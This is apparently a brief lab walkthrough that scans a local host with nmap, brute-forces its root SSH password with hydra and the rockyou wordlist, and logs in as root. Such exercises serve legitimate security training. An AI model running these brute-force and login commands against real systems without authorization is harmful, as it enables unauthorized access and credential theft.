Let’s start off by running a network scan using nmap.

  • nmap -sV 192.168.0.107
  • -sV : Probe open ports to determine service/version info

We can find 2 ports open

Now let’s start with the ssh port

To find out the password we have to brute force, for this, we can use hydra.

  • hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.0.107 ssh
  • -l : login name
  • -P : mention the file that contains the possible passwords.

We obtain the password

Now let’s ssh into the machine

  • ssh root@192.168.0.107
  • ssh [username]@[address]

When prompted enter the password we got from hydra and we are in.

Give this a 👏 if you found it useful!
